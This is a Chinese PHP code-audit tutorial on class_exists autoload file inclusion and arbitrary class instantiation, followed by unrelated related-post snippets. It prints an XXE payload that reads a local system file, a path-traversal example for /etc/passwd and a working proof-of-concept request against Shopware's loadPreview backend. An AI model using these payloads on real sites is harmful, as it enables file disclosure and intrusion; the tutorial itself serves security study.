PHP审计之class_exists与任意实例化漏洞

PHP审计之class_exists与任意实例化漏洞前言发现PHP的一些漏洞函数挺有意思,跟着七月火师傅的文章来学习.class_exists函数函数说明class_exists:(PHP

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

PHP审计之class_exists与任意实例化漏洞

前言

发现PHP的一些漏洞函数挺有意思,跟着七月火师傅的文章来学习.

class_exists函数

函数说明

class_exists :(PHP 4, PHP 5, PHP 7)

功能 :检查类是否已定义

定义 : bool class_exists ( string $class_name[, bool $autoload = true ] )

$class_name 为类的名字,在匹配的时候不区分大小写。默认情况下 $autoload 为 true,当 $autoload 为 true 时,会自动加载本程序中的 __autoload 函数;当 $autoload 为 false 时,则不调用 __autoload 函数。

函数漏洞

class_exists() 函数来判断用户传过来的控制器是否存在,默认情况下,如果程序存在 __autoload 函数,那么在使用 class_exists() 函数就会自动调用本程序中的 __autoload 函数,这题的文件包含漏洞就出现在这个地方。攻击者可以使用 路径穿越 来包含任意文件,当然使用路径穿越符号的前提是 PHP5~5.3(包含5.3版本)版本 之间才可以。例如类名为: ../../../../etc/passwd 的查找,将查看passwd文件内容

实例分析

PHP审计之class_exists与任意实例化漏洞

结合上面的class_exists函数漏洞, 来看到上面的代码。

接受值过来$controllerName过来然后调用class_exists将该变量传入,而class_exists的$autoload参数值并未进行设置,该参数默认为True,则会自动调用本类中的__autoload函数,这个函数恰巧进行了文件包含,即任意文件包含漏洞。

看到第九行代码,这个位置new了一个接受过来的参数值,则可用实现任意的类实例化。但是在该代码中没有一些能直接在__construct构造函数中实现命令执行或其他操作的类。

所以这里利用SimpleXMLElement类来实现实例化中实现一个XXE。

看到demo

<?php 
$xml = '<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>';
$xxe = new SimpleXMLElement($xml);
var_dump($xxe)
?>
    
//结果:
    object(SimpleXMLElement)#1 (1) { ["core"]=> object(SimpleXMLElement)#2 (7) { ["@attributes"]=> array(1) { ["id"]=> string(7) "test101" } ["author"]=> string(9) "John, Doe" ["title"]=> string(10) "I love XML" ["category"]=> string(9) "Computers" ["price"]=> string(4) "9.99" ["date"]=> string(10) "2018-10-01" ["description"]=> object(SimpleXMLElement)#3 (1) { ["xxe"]=> object(SimpleXMLElement)#4 (1) { ["xxe"]=> string(85) "; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 " } } } }
 

win.ini内容被读取。

代码审计

这里拿Shopware 来做一个审计

漏洞点在在 engine\Shopware\Controllers\Backend\ProductStream.php的loadPreviewAction方法中。

路由访问则/Backend/ProductStream/loadPreviewAction

看到loadPreviewAction方法代码

    public function loadPreviewAction()
    {
        $conditions = $this->Request()->getParam('conditions');
        $conditions = json_decode($conditions, true);

        $sorting = $this->Request()->getParam('sort');

        $criteria = new Criteria();

        /** @var RepositoryInterface $streamRepo */
        $streamRepo = $this->get('shopware_product_stream.repository');
        $sorting = $streamRepo->unserialize($sorting);

        foreach ($sorting as $sort) {
            $criteria->addSorting($sort);
        }

        $conditions = $streamRepo->unserialize($conditions);

接收sort参数的值然后进行json_decode,而后

这里获取shopware_product_stream.repository内容,然后调用unserialize

PHP审计之class_exists与任意实例化漏洞

    public function unserialize($serializedConditions)
    {
        return $this->reflector->unserialize($serializedConditions, 'Serialization error in Product stream');
    }

跟踪这个unserialize

LogawareReflectionHelper.php的unserialize代码

 public function unserialize($serialized, $errorSource)
    {
        $classes = [];

        foreach ($serialized as $className => $arguments) {
            $className = explode('|', $className);
            $className = $className[0];

            try {
                $classes[] = $this->reflector->createInstanceFromNamedArguments($className, $arguments);
            } catch (\Exception $e) {
                $this->logger->critical($errorSource . ': ' . $e->getMessage());
            }
        }

        return $classes;
    }

遍历$serialized,这个$serialized是我们sort传递并且进行json_deocode解密后的数据。

随后调用createInstanceFromNamedArguments,跟进了一下方法,发现就是反射创建了一个实例化的对象。和Java里面的反射感觉上差不多。

 public function createInstanceFromNamedArguments($className, $arguments)
    {
        $reflectionClass = new \ReflectionClass($className);

        if (!$reflectionClass->getConstructor()) {
            return $reflectionClass->newInstance();
        }

        $constructorParams = $reflectionClass->getConstructor()->getParameters();

        $newParams = [];
        foreach ($constructorParams as $constructorParam) {
            $paramName = $constructorParam->getName();

            if (!isset($arguments[$paramName])) {
                if (!$constructorParam->isOptional()) {
                    throw new \RuntimeException(sprintf("Required constructor Parameter Missing: '$%s'.", $paramName));
                }
                $newParams[] = $constructorParam->getDefaultValue();

                continue;
            }

            $newParams[] = $arguments[$paramName];
        }

        return $reflectionClass->newInstanceArgs($newParams);
    }

分析完以上的,其实显而易见和上面的实例一样是一个任意实例化漏洞。

那么也可以借助SimpleXMLElement类来实现一个XXE的效果,当然也可以去寻找一些__construct函数中有做其他操作例如命令执行或文件读取的也可以利用上。

POC如下:

/backend/ProductStream/loadPreview?_dc=1575439441940&sort={"SimpleXMLElement":{"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}&conditions=%7B%7D&shopId=1&currencyId=1&customerGroupKey=EK&page=1&start=0&limit=25

参考文章

代码审计Day3 – 实例化任意对象漏洞

php代码审计危险函数总结

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119837.html原文链接:https://javaforall.net

赞 (0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • NHibernate详解

    NHibernate详解什么是NHibernate:       NHibernate是一个基于.Net的针对关系型数据库的对象持久化类库。Nhibernate来源于非常优秀的基于Java的Hibernate关系型持久化工具。NHibernate从数据库底层来持久化你的.Net对象到关系型数据库。NHibernate为你处理这些,远胜于你不得不写SQL去从数据库存取对象。你的代码仅仅和对象关联,N

    2022年7月26日
  • Python获取图像大小_如何读取0像素图片

    Python获取图像大小_如何读取0像素图片在一张图片中,我们可以获取它的宽和高的像素大小fromPILimportImageimage=Image.open(‘图片的路径’)imagePixmap=Image.size #宽高像素print(imagePixmap)但是在使用百度OCR进行文字识别的时候,文字识别的图片大小不能超过4M,在自动识别文字的时候,就避免不了读取图片的内存大小,如果是大于4M的话,要对图片进行压缩,下面是读取图片内存的代码:importosimagePath=os.path.joi

    2022年9月11日
  • linux添加路由提示不允许的操作_Linux修改默认路由

    linux添加路由提示不允许的操作_Linux修改默认路由1、linux添加路由、查看路由状态、删除路由如下添加路由:routeadd-net192.168.1.44netmask255.255.255.0gw192.168.1.1查看路由状态:route-n删除路由:routedel-net192.168.20.0netmask255.255.255.02、如果想让重启也生效,可以把添加路由命令写在/etc/rc.local中,即可vi/etc/rc.local在最后加下如下routeadd-net192.1

    2022年9月1日
  • pycharm virtualenv和conda_pycharm添加环境变量

    pycharm virtualenv和conda_pycharm添加环境变量from: http://www.cnblogs.com/IDRI/p/6354237.htmlLinux:启动虚拟环境:sourceenv/bin/activate Windows:pipinstallvirtualenv创建虚拟环境目录env激活虚拟环境:C:\Python27\Scripts

    2022年8月26日
  • 如何从jdbc中获取数据库建表语句信息(表字段名称/表字段类型/表字段注释信息/表字段长度等等)

    如何从jdbc中获取数据库建表语句信息(表字段名称/表字段类型/表字段注释信息/表字段长度等等)*如何从jdbc中获取数据库建表语句信息(表字段名称/表字段类型/表字段注释信息/表字段长度等等)*1,表字段名称*2,表字段类型*3,表字段注释信息这里介绍3种方式,如下:第一种方式:执行sql语句获取select*fromuser_pop_infowhere1=2第二种方式:执行sql语句获取showcreatetableuser_pop_info第二种方式:直接从jdbc数据库连接Connection实例中获取三种方式获取的数据有一些区…

    2022年9月7日
  • phpstorm 2021.2.3激活(已测有效)「建议收藏」

    phpstorm 2021.2.3激活(已测有效),https://javaforall.net/100143.html。详细ieda激活码不妨到全栈程序员必看教程网一起来了解一下吧!

    2022年3月14日

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号